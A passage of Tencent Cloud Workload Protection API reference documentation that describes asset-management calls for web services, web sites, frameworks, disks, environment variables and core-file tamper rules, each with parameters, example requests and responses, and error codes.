X-TC-Action: DescribeAssetWebServiceCount
<Common request parameters>

{
"Name": "xx"
}
```

Output Example

```
{
"Response": {
"WebServices": [
{
"Key": "service 1",
"Value": 10,
"Desc": "web service 1",
"NewCount": 0
}
],
"RequestId": "07a92740-5e54-4ea6-9320-c6fc3f3a1121"
}
}
```

5. Developer Resources

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SDK

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- Tencent Cloud SDK 3.0 for .NET
- Tencent Cloud SDK 3.0 for C++

Command Line Interface

- Tencent Cloud CLI 3.0

6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
InternalError	Internal error
InvalidParameter	Incorrect parameter.
InvalidParameterValue	Invalid parameter value.
MissingParameter	Missing parameter error.

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ExportAssetWebServiceInfoList

Last updated：2024-12-06 15:41:34

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to export the list of asset management Web services.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer
Try it
API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: ExportAssetWebServiceInfoList.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
Quuid	No	String	Query information of a specified QUUID host
Filters.N	No	Array of AssetFilters	Filter criteria • User - string - whether required: no - running user • Name - string - whether required: no - Web service name: 1:Tomcat 2:Apache 3:Nginx 4:WebLogic 5:Websphere

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			6:JBoss 7:WildFly 8:Jetty 9:IHS 10:Tengine • OsType - string - whether required: no - Windows/Linux
Order	No	String	Sorting method: asc for ascending order or desc for descending order
By	No	String	Optional sorting method: [FirstTime|ProcessCount]

3. Output Parameters

Parameter Name	Type	Description
TaskId	String	Asynchronous download of task ID, to be used with the ExportTasks API
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Exporting List of Asset Management Web Services

Input Example

```
POST / HTTP/1.1
Host: cwp.intl.tencentcloudapi.com
Content-Type: application/json
X-TC-Action: ExportAssetWebServiceInfoList
<Common request parameters>

{}
```

Output Example

```
{
"Response": {
```

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```
"RequestId": "07a92740-5e54-4ea6-9320-c6fc3f3a1121",
"TaskId": "1"
}
}
```


5. Developer Resources

SDK

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- Tencent Cloud SDK 3.0 for Go
- Tencent Cloud SDK 3.0 for Node.js
- Tencent Cloud SDK 3.0 for .NET
- Tencent Cloud SDK 3.0 for C++

Command Line Interface

- Tencent Cloud CLI 3.0

6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
InternalError	Internal error
InvalidParameter.InvalidFormat	Incorrect parameter format.
InvalidParameter.MissingParameter	Missing parameter.
InvalidParameter.ParsingError	Incorrect parameter parsing.
InvalidParameterValue	Invalid parameter value.
MissingParameter	Missing parameter error.

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ResourceNotFound	The resource does not exist.

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DescribeAssetWebLocationCount

Last updated：2024-12-06 15:41:55

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to obtain the total number of Web sites.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer
Try it
API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: DescribeAssetWebLocationCount.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
Name	No	String	Search criteria: return a list of all web sites whose names contain Name.

3. Output Parameters

Parameter Name	Type	Description

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WebLocations	Array of AssetKeyVal	Number of individual Web sites
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Obtaining Quantity of All Web Sites

Input Example

```
POST / HTTP/1.1
Host: cwp.intl.tencentcloudapi.com
Content-Type: application/json
X-TC-Action: DescribeAssetWebLocationCount
<Common request parameters>

{
"Name": "xx"
}
```

Output Example

```
{
"Response": {
"WebLocations": [
{
"Key": "key1",
"Value": 1,
"Desc": "desc of key1",
"NewCount": 1
}
],
"RequestId": "07a92740-5e54-4ea6-9320-c6fc3f3a1121"
}
}
```

5. Developer Resources

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Command Line Interface

- Tencent Cloud CLI 3.0

6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
InternalError	Internal error
InvalidParameter	Incorrect parameter.
InvalidParameterValue	Invalid parameter value.
MissingParameter	Missing parameter error.

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ExportAssetWebLocationList

Last updated：2024-12-06 15:41:34

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to export the list of Web sites.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer
Try it
API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: ExportAssetWebLocationList.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
Quuid	No	String	Query information of a specified QUUID host
Filters.N	No	Array of Filter	Filter criteria • Name - String - required: no - domain name • User - String - required: no - running user • Port - uint64 - required: no - site port • Proto - uint64 - required: no - site protocol: 1 - HTTP; 2 - HTTPS • ServiceType - uint64 - required: no - service type: 1:Tomcat 2:Apache

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			3:Nginx 4:WebLogic 5:Websphere 6:JBoss 7:WildFly 8:Jetty 9:IHS 10:Tengine • OsType - String - required: no - Windows/Linux
Order	No	String	Sorting method: asc for ascending order or desc for descending order
By	No	String	Optional sorting method: [FirstTime|PathCount]

3. Output Parameters

Parameter Name	Type	Description
TaskId	String	Asynchronous download of task ID, to be used with the ExportTasks API
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Exporting the Web Site List

Input Example

```
POST / HTTP/1.1
Host: cwp.intl.tencentcloudapi.com
Content-Type: application/json
X-TC-Action: ExportAssetWebLocationList
<Common request parameters>

{}
```

Output Example

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```
{
"Response": {
"RequestId": "07a92740-5e54-4ea6-9320-c6fc3f3a1121",
"TaskId": "1"
}
}
```

5. Developer Resources

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Command Line Interface

- Tencent Cloud CLI 3.0

6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
InternalError	Internal error
InvalidParameter	Incorrect parameter.
InvalidParameterValue	Invalid parameter value.
MissingParameter	Missing parameter error.

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DescribeAssetWebLocationPathList

Last updated：2024-12-06 15:41:54

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to obtain the list of Web sites' virtual directories.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer

Try it

API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: DescribeAssetWebLocationPathList.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
Quuid	Yes	String	Server QUUID
Uuid	Yes	String	Server UUID
Id	Yes	String	Web site ID
Limit	Yes	Integer	Number of returned lists. It is 10 by default, and the maximum number is 100.
Offset	Yes	Integer	Offset. Default value: 0.

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3. Output Parameters

Parameter Name	Type	Description
Total	Integer	Total number Note: This field may return null, indicating that no valid values can be obtained.
Paths	Array of AssetWebLocationPath	List Note: This field may return null, indicating that no valid values can be obtained.
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Obtaining List of Web Site Virtual Directories

Input Example

```
POST / HTTP/1.1
Host: cwp.intl.tencentcloudapi.com
Content-Type: application/json
X-TC-Action: DescribeAssetWebLocationPathList
<Common request parameters>

{
"Offset": 1,
"Id": "xx",
"Limit": 1,
"Uuid": "xx",
"Quuid": "xx"
}
```

Output Example

```
{
"Response": {
"Total": 1,
```

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```
"Paths": [
{
"VirtualPath": "/a/b",
"RealPath": "/a/b",
"User": "user1",
"Group": "group1",
"Permission": "066"
}
],
"RequestId": "07a92740-5e54-4ea6-9320-c6fc3f3a1121"
}
}
```


5. Developer Resources

SDK

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Command Line Interface

- Tencent Cloud CLI 3.0

6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
InternalError	Internal error

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InvalidParameter	Incorrect parameter.
InvalidParameterValue	Invalid parameter value.
MissingParameter	Missing parameter error.

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DescribeAssetWebFrameCount

Last updated：2024-12-06 15:41:56

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to obtain the number of all Web frameworks.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer
Try it
API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: DescribeAssetWebFrameCount.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
Name	No	String	Search criteria: Return a list of all Web frameworks containing Name.

3. Output Parameters

Parameter Name	Type	Description
WebFrames	Array of	Number of individual Web frameworks

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	AssetKeyVal	
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Obtaining the Number of All Web Frameworks

Input Example

```
POST / HTTP/1.1
Host: cwp.intl.tencentcloudapi.com
Content-Type: application/json
X-TC-Action: DescribeAssetWebFrameCount
<Common request parameters>

{
"Name": "xx"
}
```

Output Example

```
{
"Response": {
"WebFrames": [
{
"Key": "key1",
"Value": 1,
"Desc": "desc of key1",
"NewCount": 0
}
],
"RequestId": "07a92740-5e54-4ea6-9320-c6fc3f3a1121"
}
}
```

5. Developer Resources

SDK

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Command Line Interface

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6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
InternalError	Internal error
InvalidParameter	Incorrect parameter.
InvalidParameterValue	Invalid parameter value.
MissingParameter	Missing parameter error.

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ExportAssetWebFrameList

Last updated：2024-12-06 15:41:35

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to export the list of asset management Web frameworks.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer
Try it
API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: ExportAssetWebFrameList.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
Quuid	No	String	Query information of a specified QUUID host
Filters.N	No	Array of Filter	Filter criteria • Name - String - Required: No - Framework Name • Lang - String - Required: No - Framework Language: java/python • Type - String - Required: No - Service Type: 0: All 1:Tomcat 2:Apache 3:Nginx

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			4:WebLogic 5:Websphere 6:JBoss 7:WildFly 8:Jetty 9:IHS 10:Tengine • OsType - String - required: no - Windows/Linux
Order	No	String	Sorting method: asc for ascending order or desc for descending order
By	No	String	Optional Sort: [FirstTime|JarCount]

3. Output Parameters

Parameter Name	Type	Description
TaskId	String	Asynchronous download of task ID, to be used with the ExportTasks API
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Exporting a List of Asset Management Web Frameworks

Input Example

```
POST / HTTP/1.1
Host: cwp.intl.tencentcloudapi.com
Content-Type: application/json
X-TC-Action: ExportAssetWebFrameList
<Common request parameters>

{}
```

Output Example

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```
{
"Response": {
"TaskId": "1",
"RequestId": "07a92740-5e54-4ea6-9320-c6fc3f3a1121"
}
}
```

5. Developer Resources

SDK

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Command Line Interface

- Tencent Cloud CLI 3.0

6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
InternalError	Internal error
InvalidParameter	Incorrect parameter.
InvalidParameterValue	Invalid parameter value.
MissingParameter	Missing parameter error.

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ExportAssetCoreModuleList

Last updated：2024-12-06 15:41:41

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to export the list of asset management kernel modules.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer

Try it

API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: ExportAssetCoreModuleList.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
Uuid	No	String	Server UUID
Quuid	No	String	Server QUUID
Filters.N	No	Array of AssetFilters	Filter criteria • Name- string - required: no - package name • User- string - required: no - username
Order	No	String	Sorting method: asc for ascending order or desc for descending order

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By	No	String	Sorting criteria [FirstTime|Size|ProcessCount|ModuleCount]

3. Output Parameters

Parameter Name	Type	Description
TaskId	String	Asynchronous download of task ID, to be used with the ExportTasks API
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Exporting Asset Management Kernel Module List

This example shows you how to export the asset management kernel module list.

Input Example

```
POST / HTTP/1.1
Host: cwp.intl.tencentcloudapi.com
Content-Type: application/json
X-TC-Action: ExportAssetCoreModuleList
<Common request parameters>

{}
```

Output Example

```
{
"Response": {
"RequestId": "dc7fe338-c585-4a01-945d-80f7e966235e",
"TaskId": "1703557589"
}
}
```

5. Developer Resources

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- Tencent Cloud SDK 3.0 for Node.js
- Tencent Cloud SDK 3.0 for .NET
- Tencent Cloud SDK 3.0 for C++

Command Line Interface

- Tencent Cloud CLI 3.0

6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
InternalError	Internal error
InvalidParameter	Incorrect parameter.
InvalidParameter.InvalidFormat	Incorrect parameter format.
InvalidParameter.MissingParameter	Missing parameter.
InvalidParameter.ParsingError	Incorrect parameter parsing.
InvalidParameterValue	Invalid parameter value.
MissingParameter	Missing parameter error.
ResourceNotFound	The resource does not exist.

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DescribeAssetDiskList

Last updated：2024-12-06 15:42:09

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to obtain the host disk partition list.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer

Try it

API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: DescribeAssetDiskList.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
Quuid	Yes	String	Host QUUID
Uuid	Yes	String	Host UUID
Offset	No	Integer	Offset, which defaults to 0
Limit	No	Integer	Number of items to be returned. It is 10 by default, and the maximum value is 100.

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3. Output Parameters

Parameter Name	Type	Description
Disks	Array of AssetDiskPartitionInfo	Disk partition list Note: This field may return null, indicating that no valid values can be obtained.
Total	Integer	Total number of partitions
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Obtaining the List of Host Disks

Input Example

```
POST / HTTP/1.1
Host: cwp.intl.tencentcloudapi.com
Content-Type: application/json
X-TC-Action: DescribeAssetDiskList
<Common request parameters>

{
"Offset": 1,
"Limit": 1,
"Uuid": "xx",
"Quuid": "xx"
}
```

Output Example

```
{
"Response": {
"Disks": [
{
"Name": "disk1",
"Size": 1024000,
```

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```
"Percent": 50,
"Type": "ext4",
"Path": "/data",
"Used": 10
}
],
"Total": 1,
"RequestId": "07a92740-5e54-4ea6-9320-c6fc3f3a1121"
}
}
```


5. Developer Resources

SDK

TencentCloud API 3.0 integrates SDKs that support various programming languages to make it easier for you to call APIs.

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- Tencent Cloud SDK 3.0 for Java
- Tencent Cloud SDK 3.0 for PHP
- Tencent Cloud SDK 3.0 for Go
- Tencent Cloud SDK 3.0 for Node.js
- Tencent Cloud SDK 3.0 for .NET
- Tencent Cloud SDK 3.0 for C++

Command Line Interface

- Tencent Cloud CLI 3.0

6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
InternalError	Internal error
InvalidParameter	Incorrect parameter.
InvalidParameterValue	Invalid parameter value.

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MissingParameter	Missing parameter error.

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DescribeFileTamperRules

Last updated：2024-12-06 15:41:50

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to obtain the list of core file monitoring rules.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer
Try it
API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: DescribeFileTamperRules.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
Filters.N	No	Array of Filters	Filtering criteria • RuleCategory - string - rule category: 0: system rule; 1: user rule • Name - String - rule name
Offset	No	Integer	Offset. Default value: 0.
Limit	No	Integer	Number of entries to be returned. Default value: 10. Maximum value: 100.
Order	No	String	Sorting order: ASC, DESC

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By	No	String	Sorting field: CreateTime, ModifyTime, HostCount

3. Output Parameters

Parameter Name	Type	Description
List	Array of FileTamperRuleInfo	List of rules Note: This field may return null, indicating that no valid values can be obtained.
TotalCount	Integer	Total number
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Obtaining the List of Core File Monitoring Events

Input Example

```
POST / HTTP/1.1
Host: cwp.intl.tencentcloudapi.com
Content-Type: application/json
X-TC-Action: DescribeFileTamperRules
<Common request parameters>

{
"Offset": 1,
"Limit": 1
}
```

Output Example

```
{
"Response": {
"List": [
{
```

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```
"Status": 1,
"Name": "Core file name 1",
"HostCount": 1,
"ModifyTime": "2023-01-01 00:00:00",
"CreateTime": "2023-01-01 00:00:00",
"RuleCategory": 1,
"Id": 1,
"IsGlobal": 1,
"Level": 1,
"WriteRuleCount": 1,
"ReadRuleCount": 1,
"ReadWriteRuleCount": 1,
"FileAction": "",
"AddWhiteType": ""
}
],
"TotalCount": 1,
"RequestId": "354f4ac3-8546-4516-8c8a-69e3ab73aa8a"
}
}
```


5. Developer Resources

SDK

TencentCloud API 3.0 integrates SDKs that support various programming languages to make it easier for you to call APIs.

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- Tencent Cloud SDK 3.0 for Java
- Tencent Cloud SDK 3.0 for PHP
- Tencent Cloud SDK 3.0 for Go
- Tencent Cloud SDK 3.0 for Node.js
- Tencent Cloud SDK 3.0 for .NET
- Tencent Cloud SDK 3.0 for C++

Command Line Interface

- Tencent Cloud CLI 3.0

6. Error Code

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The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
InternalError	Internal error
InvalidParameter	Incorrect parameter.
InvalidParameter.InvalidFormat	Incorrect parameter format.
InvalidParameter.MissingParameter	Missing parameter.
InvalidParameter.ParsingError	Incorrect parameter parsing.
InvalidParameterValue	Invalid parameter value.
MissingParameter	Missing parameter error.

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DescribeMachineFileTamperRules

Last updated：2024-12-06 15:41:48

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to query the list of host-related core file monitoring rules.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer

Try it

API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: DescribeMachineFileTamperRules.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
Uuid	Yes	String	Host UUID
Offset	No	Integer	Offset. Default value: 0.
Limit	No	Integer	Number of results to be returned. Default value: 10. Maximum value: 100.

3. Output Parameters

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Parameter Name	Type	Description
TotalCount	Integer	Total number
List	Array of MachineFileTamperRule	Query Details of Host-related Core File Monitoring Rules
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Obtaining the List of Core File Monitoring Events

Input Example

```
POST / HTTP/1.1
Host: cwp.intl.tencentcloudapi.com
Content-Type: application/json
X-TC-Action: DescribeMachineFileTamperRules
<Common request parameters>

{
"Offset": 1,
"Limit": 1,
"Uuid": "10ee1dad-ed42-4f98-8c9e-bfaa48fcb787"
}
```

Output Example

```
{
"Response": {
"TotalCount": 1,
"List": [
{
"Name": "rule1",
"RuleCategory": 1,
"Rule": [
{
"ProcessPath": "/data/process1",
"Target": "/a/b.txt",
```

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```
"Action": "skip",
"FileAction": "write"
}
],
"Id": 1
}
],
"RequestId": "8564b09e-0e04-4516-bb59-db09742503c2"
}
}
```


5. Developer Resources

SDK

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- Tencent Cloud SDK 3.0 for Java
- Tencent Cloud SDK 3.0 for PHP
- Tencent Cloud SDK 3.0 for Go
- Tencent Cloud SDK 3.0 for Node.js
- Tencent Cloud SDK 3.0 for .NET
- Tencent Cloud SDK 3.0 for C++

Command Line Interface

- Tencent Cloud CLI 3.0

6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
InternalError	Internal error
InvalidParameter	Incorrect parameter.
InvalidParameter.InvalidFormat	Incorrect parameter format.

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InvalidParameter.MissingParameter	Missing parameter.
InvalidParameter.ParsingError	Incorrect parameter parsing.
InvalidParameterValue	Invalid parameter value.
MissingParameter	Missing parameter error.

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ExportAssetEnvList

Last updated：2024-12-06 15:41:41

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to export the list of asset management environment variables.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer
Try it
API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: ExportAssetEnvList.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
Uuid	No	String	Server UUID
Quuid	No	String	Server QUUID
Filters.N	No	Array of AssetFilters	Filter criteria • Name - string - required: no - environment variable name • Type - int - required: no - type: 0 - user variable; 1 - system variable
Order	No	String	Sorting method: asc for ascending order or desc for

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			descending order
By	No	String	Sorting method: [FirstTime]

3. Output Parameters

Parameter Name	Type	Description
TaskId	String	Asynchronous download of task ID, to be used with the ExportTasks API
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Exporting the List of Asset Management Environment Variables

Input Example

```
POST / HTTP/1.1
Host: cwp.intl.tencentcloudapi.com
Content-Type: application/json
X-TC-Action: ExportAssetEnvList
<Common request parameters>

{
"Uuid": "xx",
"Filters": [
{
"Values": [
"xx"
],
"Name": "xx",
"ExactMatch": true
}
],
"Quuid": "xx"
}
```

Output Example

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```
{
"Response": {
"RequestId": "8564b09e-0e04-4516-bb59-db09742503c2",
"TaskId": "11"
}
}
```

5. Developer Resources

SDK

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- Tencent Cloud SDK 3.0 for Java
- Tencent Cloud SDK 3.0 for PHP
- Tencent Cloud SDK 3.0 for Go
- Tencent Cloud SDK 3.0 for Node.js
- Tencent Cloud SDK 3.0 for .NET
- Tencent Cloud SDK 3.0 for C++

Command Line Interface

- Tencent Cloud CLI 3.0

6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
InternalError	Internal error
InvalidParameter	Incorrect parameter.
InvalidParameter.InvalidFormat	Incorrect parameter format.
InvalidParameter.MissingParameter	Missing parameter.

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InvalidParameter.ParsingError	Incorrect parameter parsing.
InvalidParameterValue	Invalid parameter value.
MissingParameter	Missing parameter error.
ResourceNotFound	The resource does not exist.

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DescribeAssetHostTotalCount

Last updated：2024-12-06 15:42:08

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to obtain the total number of resources of the host.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer

Try it

API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: DescribeAssetHostTotalCount.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
Uuid	Yes	String	Host UUID
Quuid	Yes	String	Host QUUID

3. Output Parameters

Parameter Name	Type	Description

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Types	Array of AssetKeyVal	Number of individual resources system: resource monitoring account: account port: port process: process app: application software database: database webapp: Web application webframe: Web framework webservice: Web service weblocation: Web site systempackage: system installation package jar: jar package initservice: startup service env: environment variable coremodule: kernel module
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Obtaining Quantity of All Resources of the Host

Input Example

```
POST / HTTP/1.1
Host: cwp.intl.tencentcloudapi.com
Content-Type: application/json
X-TC-Action: DescribeAssetHostTotalCount
<Common request parameters>

{
"Uuid": "xx",
"Quuid": "xx"
}
```

Output Example

```
{
"Response": {
"Types": [
```

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```
{
"Key": "key1",
"Value": 10,
"Desc": "desc of key1",
"NewCount": 0
}
],
"RequestId": "8564b09e-0e04-4516-bb59-db09742503c2"
}
}
```


5. Developer Resources

SDK

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- Tencent Cloud SDK 3.0 for Java
- Tencent Cloud SDK 3.0 for PHP
- Tencent Cloud SDK 3.0 for Go
- Tencent Cloud SDK 3.0 for Node.js
- Tencent Cloud SDK 3.0 for .NET
- Tencent Cloud SDK 3.0 for C++

Command Line Interface

- Tencent Cloud CLI 3.0

6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
InternalError	Internal error
InvalidParameter	Incorrect parameter.
InvalidParameterValue	Invalid parameter value.

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MissingParameter	Missing parameter error.

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DescribeAssetTotalCount

Last updated：2024-12-06 15:42:01

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to obtain the number of resources, including hosts, accounts, ports, processes, software, databases, web applications, web frameworks, web services, and web sites.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer
Try it
API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: DescribeAssetTotalCount.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.

3. Output Parameters

Parameter Name	Type	Description
Types	Array of AssetKeyVal	Number of individual resources system: resource monitoring

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		account: account port: port process: process app: application software database: database webapp: Web application webframe: Web framework webservice: Web service weblocation: Web site jar: Jar package initservice: startup service planTask: scheduled task env: environment variable coremodule: kernel module
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Obtaining the Quantity of All Resources

This example shows you how to obtain the quantity of all resources.

Input Example

```
POST / HTTP/1.1
Host: cwp.intl.tencentcloudapi.com
Content-Type: application/json
X-TC-Action: DescribeAssetTotalCount
<Common request parameters>

{}
```

Output Example

```
{
"Response": {
"RequestId": "058e4d84-10de-4943-8b30-2a50f204f7c7",
"Types": [
{
"Desc": "none",
"Key": "system",
```

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```
"NewCount": 0,
"Value": 531
},
{
"Desc": "none",
"Key": "account",
"NewCount": 0,
"Value": 6526360
},
{
"Desc": "none",
"Key": "port",
"NewCount": 0,
"Value": 2355
},
{
"Desc": "none",
"Key": "app",
"NewCount": 8,
"Value": 3193
},
{
"Desc": "none",
"Key": "process",
"NewCount": 21,
"Value": 21749346
},
{
"Desc": "none",
"Key": "database",
"NewCount": 1,
"Value": 18
},
{
"Desc": "none",
"Key": "webapp",
"NewCount": 0,
"Value": 4
},
{
"Desc": "none",
"Key": "webservice",
"NewCount": 0,
"Value": 17
},
{
"Desc": "none",
```


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```
"Key": "webframe",
"NewCount": 0,
"Value": 5
},
{
"Desc": "none",
"Key": "weblocation",
"NewCount": 0,
